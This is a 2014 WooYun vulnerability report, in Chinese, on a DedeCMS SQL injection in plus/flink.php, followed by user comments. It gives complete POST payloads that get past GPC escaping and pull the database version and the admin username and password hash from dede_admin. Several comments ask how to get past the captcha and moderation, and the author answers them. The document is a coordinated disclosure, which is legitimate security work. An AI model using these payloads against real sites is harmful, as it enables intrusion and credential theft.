当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-051950

漏洞标题：DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果)

相关厂商：Dedecms

漏洞作者： kobin97

提交时间：2014-02-25 10:35

修复时间：2014-05-26 10:36

公开时间：2014-05-26 10:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-25： 细节已通知厂商并且等待厂商处理中
2014-02-25： 厂商已经确认，细节仅向厂商公开
2014-02-28： 细节向第三方安全合作伙伴开放
2014-04-21： 细节向核心白帽子及相关领域专家公开
2014-05-01： 细节向普通白帽子公开
2014-05-11： 细节向实习白帽子公开
2014-05-26： 细节向公众公开

简要描述：

最近很多人刷dedecms的漏洞，个人表示很无语。
粗略看了下,这些洞存在太大限制
一句话总结：只要会员中心一关，全部没法用...
试问现在哪个傻子会开会员中心... 默认都是关闭的,所以哪...
今天这个洞，无视会员中心，无视GPC，会员中心，GPC你哪凉快 哪呆着去，默认安装就能利用哦...
也一句话总结：架构问题才是真问题。
（ps:调皮一下^-^，felixk3y某见怪，话说这个漏洞跨越了多个版本，不知会不会打雷。）

详细说明：

首先，我们来看看dede重要文件 common.inc.php
这里开始过滤得很完整，往下看
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}


我看再看：uploadsafe.inc.php

//29行
    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);


看到这里，我笑了。
这不是能绕过 GPC的节奏么。
好吧，随便找一个能添加数据的地方
于是找到了
plus\flink.php
虽然都经过 htmlspecialchars
我们看看：
htmlspecialchars(string,quotestyle,character-set)

可选。规定如何编码单引号和双引号。
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认情况下仅编码双引号。
这里不是重点，不过也是能利用的条件之一，用于绕过dede自带的ids。
构造webname 值为：

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\


这里解释一下，经过GPC后 webname 变为 pass\\
经过刚才 uploadsafe.inc.php 的函数后
webname 变为 pass\
插入到SQL语句中就变成了

INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','


即吃掉了后面的 ' ，从而实现绕过GPC。
不过ExecuteNoneQuery不支持错误回显，那我们就构造好，让他显示出来吧。于是后面的logo函数就变成：
logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`
ischeck 为1即绕过审核，结果直接显示出来。
完整参数为：
查版本：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\


查密码：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\


验证码字段自己修改。。。

漏洞证明：

1.jpg


2.jpg


官方测试地址：
http://help.dedecms.com/plus/flink.php

111.jpg

修复方案：

调整架构！

版权声明：转载请注明来源 kobin97@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-02-25 13:10

厂商回复：

已经修复

最新状态：

暂无

漏洞评价：

评论

  1. 2014-02-25 10:36 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    调皮，我以为重复的呢。。。

  2. 2014-02-25 10:40 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

    火钳刘明，此贴必火，立字为证。

  3. 2014-02-25 10:40 | HackBraid 认证白帽子 ( 核心白帽子 | Rank:1545 漏洞数:260 | ...........................................)

    真正的无任何限制。。。

  4. 2014-02-25 10:40 | 老胖子 ( 路人 | Rank:0 漏洞数:3 )

    老夫夜观天象，此贴必火.

  5. 2014-02-25 10:40 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    前排买摔炮------妞x

  6. 2014-02-25 10:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    搞毛

  7. 2014-02-25 10:42 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    @kobin97 私下交流交流?

  8. 2014-02-25 10:46 | tnt1200 ( 普通白帽子 | Rank:121 漏洞数:17 | 关注飞机安全....)

    火钳刘明

  9. 2014-02-25 10:51 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)

    确实牛B

  10. 2014-02-25 10:53 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    dede•••• 马蹄声。马年必然马不停蹄。。。

  11. 2014-02-25 10:55 | 宇少 ( 普通白帽子 | Rank:106 漏洞数:41 | Jyhack-TeaM：bbs.jyhack.com 群:308694453...)

    简直就是刁炸天

  12. 2014-02-25 10:56 | Kavia ( 实习白帽子 | Rank:50 漏洞数:10 )

    看了楼上的回复，顿时觉得该关注一发。洞主2000又到手了，恭喜恭喜！

  13. 2014-02-25 11:51 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    你们，哈哈。都火了

  14. 2014-02-25 12:38 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    我靠，这下热闹了

  15. 2014-02-25 12:47 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    霸气十足啊。

  16. 2014-02-25 12:48 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    我去，私藏多年的0day啊

  17. 2014-02-25 12:55 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    我去，私藏多年的0day啊

  18. 2014-02-25 13:41 | kimdle ( 路人 | Rank:0 漏洞数:1 | @kimdle)

    我去，私藏多年的0day啊

  19. 2014-02-25 14:00 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    8分

  20. 2014-02-25 14:10 | 0xTback ( 路人 | Rank:0 漏洞数:1 | 初入江湖，请多多关照~！！！)

    这洞能卖不少钱吧

  21. 2014-02-25 14:13 | t00000by57 ( 实习白帽子 | Rank:45 漏洞数:5 | Access Denied.)

    看了下补丁 感觉是解码那儿的问题？

  22. 2014-02-25 14:23 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    我去，私藏多年的0day啊

  23. 2014-02-25 14:28 | Metasploit ( 实习白帽子 | Rank:37 漏洞数:7 | http://www.metasploit.cn/)

    很黄很暴力

  24. 2014-02-25 15:19 | Walle ( 路人 | Rank:0 漏洞数:5 | ... 位卑、未敢忘忧国！ ...)

    我去，私藏多年的0day啊

  25. 2014-02-25 15:22 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    无限制，简直吊

  26. 2014-02-25 15:38 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    果然被劈了，好屌！

  27. 2014-02-25 15:51 | C4nf3ng ( 路人 | Rank:18 漏洞数:5 )

    我去，私藏多年的0day啊

  28. 2014-02-25 16:07 | msx2009 ( 路人 | Rank:5 漏洞数:7 | 信息安全 web开发)

    我看出来，利用时间有点长吧，呵呵

  29. 2014-02-25 18:23 | Rise ( 路人 | Rank:2 漏洞数:2 | 初学者)

    感觉很叼的样子！

  30. 2014-02-25 22:50 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  31. 2014-02-27 12:08 | 哦哦 ( 路人 | Rank:2 漏洞数:1 | 好123，最好的导航，没有之一)

    我去，私藏多年的0day啊

  32. 2014-02-28 17:57 | I am XiaoM ( 路人 | Rank:3 漏洞数:4 | 看着大家的Rank我深深被伤了...)

    钳刘明

  33. 2014-03-01 19:51 | jeffreys125 ( 实习白帽子 | Rank:63 漏洞数:14 | 懒人。。)

    mark

  34. 2014-03-11 15:59 | QQ852451559 ( 实习白帽子 | Rank:79 漏洞数:18 | 学生党)

    mark

  35. 2014-04-16 19:17 | wooyunmibu ( 路人 | Rank:0 漏洞数:1 | 嗯嗯嗯)

    此贴必火啊

  36. 2014-04-16 20:30 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    请问验证码那边怎么写？总是利用不成功

  37. 2014-04-16 21:14 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    验证码搞定了，可是怎么都要审核，是不是直接加上ischeck=1这个参数就好？

  38. 2014-04-16 22:04 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    @if、so 对的

  39. 2014-04-16 22:05 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    @kobin97 我加了，还是提示需要管理审核

  40. 2014-04-16 22:06 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    @if、so 那是不是修复了？

  41. 2014-04-16 22:07 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    @kobin97 对。。我测试那个站，没有一个漏洞可以利用。

  42. 2014-04-16 22:08 | if、so 认证白帽子 ( 核心白帽子 | Rank:1008 漏洞数:91 | 梦想还是要有的，万一实现了呢？)

    @kobin97 可以加个QQ交流交流技术么

  43. 2014-05-09 15:02 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    @kobin97 我测试过一些老站点，发现很多都不会在flink.php中显示添加的链接~有点郁闷~

  44. 2014-05-17 14:56 | B1acken ( 普通白帽子 | Rank:174 漏洞数:56 | 渣渣)

    我去，私藏多年的0day啊

  45. 2014-05-26 11:35 | xiaokinghk ( 实习白帽子 | Rank:82 漏洞数:16 | 【DBA】)

    @if、so 验证码如何搞定？

  46. 2014-05-26 14:21 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    屌炸天，mark

  47. 2014-05-26 15:54 | Jasonfcku ( 路人 | Rank:13 漏洞数:2 | 小白一只，求不社。)

    我怎么感觉我老早在哪里见过？。。这是幻觉吗？@u神 要通过审核才行

  48. 2014-06-04 22:10 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    @kobin97 怎么老是验证码错误。。怎么改？？

  49. 2014-06-05 17:33 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    @kobin97 审核过不了啊。。

  50. 2014-06-05 21:32 | 炊烟 ( 普通白帽子 | Rank:238 漏洞数:44 | 每一天都需要努力。)

    @kobin97 版本11年的- -

  51. 2014-06-06 21:02 | 帅爆的小烬烬 ( 路人 | Rank:30 漏洞数:25 | 路上有个漂亮妹子和我搭讪，知道我赶着去挖...)

    如何搞定验证码？

  52. 2014-06-06 23:14 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    @xiaokinghk @好基友一辈子 @帅爆的小烬烬 验证码可以直接打开验证码的链接，然后输入就行了呀。。。

  53. 2014-06-07 11:26 | 帅爆的小烬烬 ( 路人 | Rank:30 漏洞数:25 | 路上有个漂亮妹子和我搭讪，知道我赶着去挖...)

    @kobin97 我去，“验证码字段自己修改”这句漏过去了哈哈，多谢了

  54. 2014-06-08 09:04 | 好基友一辈子 ( 普通白帽子 | Rank:138 漏洞数:37 )

    @kobin97 在哪里写验证码啊，你的payload里没有把

  55. 2014-09-10 10:46 | pigzhu ( 路人 | Rank:4 漏洞数:4 | 网络共享！)

    需要审核 好像限制了

  56. 2015-04-15 13:07 | j2ck3r ( 普通白帽子 | Rank:406 漏洞数:92 | 别关注我，跟你不熟。)

    需要审核